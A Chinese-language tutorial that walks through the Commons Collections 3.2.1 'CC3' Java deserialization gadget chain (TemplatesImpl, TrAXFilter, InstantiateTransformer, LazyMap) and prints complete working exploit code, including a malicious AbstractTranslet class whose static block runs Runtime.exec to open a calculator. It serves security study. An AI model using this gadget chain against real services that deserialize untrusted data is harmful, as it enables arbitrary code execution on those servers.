前言
如果你学习了CC1和CC2,会发现CC3跟前两个很像,其实CC3链复用了CC1的触发机制,但替换了最终的执行payload,改为动态类加载执行任意代码,建议先看看前两篇文章,后面理解起来也会更容易
Java反序列化 CC1链分析 (LazyMap)
Java反序列化 CC2链分析
环境准备
咱们待会用javassist来动态生成恶意类,所以修改pom.xml文件如下,当然也可以不用javassist,我们留在最后面来讲讲
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
然后在Maven同步项目即可
初步探索
CC3的命令执行方式为动态类加载,利用点在defineClass()方法这里

Java中的defineClass方法,作用是将传入的字节码数据转换成JVM中可运行的Java类对象,也就是负责将一段字节流(通常是编译后的class字节码)转换成java.lang.Class实例并返回对应的Class对象
然后我们alt+F7查找用法,发现TemplatesImpl类调用了defineClass()方法

继续查找用法,看看defineClass在该类的哪里被使用,发现被defineTransletClasses方法调用

那我们跟进这个方法,来详细分析一下

有很多条件,咱们一个个来分析
要求_bytecodes不为null,后面会遍历_bytecodes数组进行类加载,_bytecodes就传入我们的恶意字节码
接着是调用_tfactory的getExternalExtensionsMap()方法,这就要求_tfactory不为null,但是我们看看定义

发现_tfactory被transient修饰,也就是当对象序列化时,该成员变量不会跟着被序列化,该变量在新对象里会变成默认值null,那怎么办
我们继续分析,发现readObject方法里对_tfactory初始化了,那我们就可以不用管这个了

接着就是最后一个条件,要求父类为ABSTRACT_TRANSLET,通过则_transletIndex = i,在这里也就是0,因为_transletIndex默认为-1,所以这一步我们不能跳过

解决完问题后,我们继续分析,因为defineTransletClasses为private,所以我们往上看看哪里有调用这个方法

查找用法,发现getTransletInstance调用了该方法,要求_name不为null且_class要等于null,_name我们随便传个值就好。但是该方法还是private,还得继续往上找

继续分析,发现newTransformer方法调用了getTransletInstance,同时还是public修饰符,那问题就解决了

我们尝试编写测试代码验证,先用Javassist动态生成恶意类,然后转化为字节码byte数组,跟CC2的链2一样,具体可以看Java反序列化 CC2链分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile();
byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
|
实例化后效果如下

为了节省位置,咱们写个函数setFieldValue来实现反射,测试exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class Main { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile(); byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器

逐步完善
接下来就是寻找如何触发newTransformer,发现TrAXFilter类调用了该方法

然后我们想办法实例化这个类,传入参数templates,这里CC3作者找到了InstantiateTransformer类来实例化对象,我们分析一下

可以看到尝试获取构造器并进行实例化,那我们给InstantiateTransformer.transform()传入TrAXFilter.class即可,怎么传呢,咱们用ChainedTransformer和ConstantTransformer,接下来的方法跟CC1的LazyMap链一样,因为篇幅比较长,这里就不讲了,可以参考文章Java反序列化 CC1链分析 (LazyMap)
为了更直观的感受,这里放个CC3的图

最终利用
综上,我们构造完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public class Main { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile(); byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes);
Class cs = TrAXFilter.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = annotationConstructor.newInstance(Override.class, proxy);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser")); objectOutputStream.writeObject(o); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); }
try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); }
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器

手工构建恶意类
如果我们不用Javassist的话,就需要手工构建恶意类,然后生成class
这时候pom.xml就不需要添加Javassist依赖了
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
因为恶意类要继承AbstractTranslet,这就需要我们去实现transform抽象方法,否则会报错,当然也可以用IDEA自动添加,更方便

构建代码如下,要写静态代码static,因为存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
然后用Java8执行命令,构建class文件
接着修改我们之前的exp,把Javassist动态生成类的那一部分替换成读取我们的恶意类路径,例如
1 2
| byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class")); byte[][] targetByteCodes = new byte[][]{bytes};
|
完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public class Main { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class")); byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes);
Class cs = TrAXFilter.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = annotationConstructor.newInstance(Override.class, proxy);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser")); objectOutputStream.writeObject(o); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); }
try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); }
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
成功弹出计算器
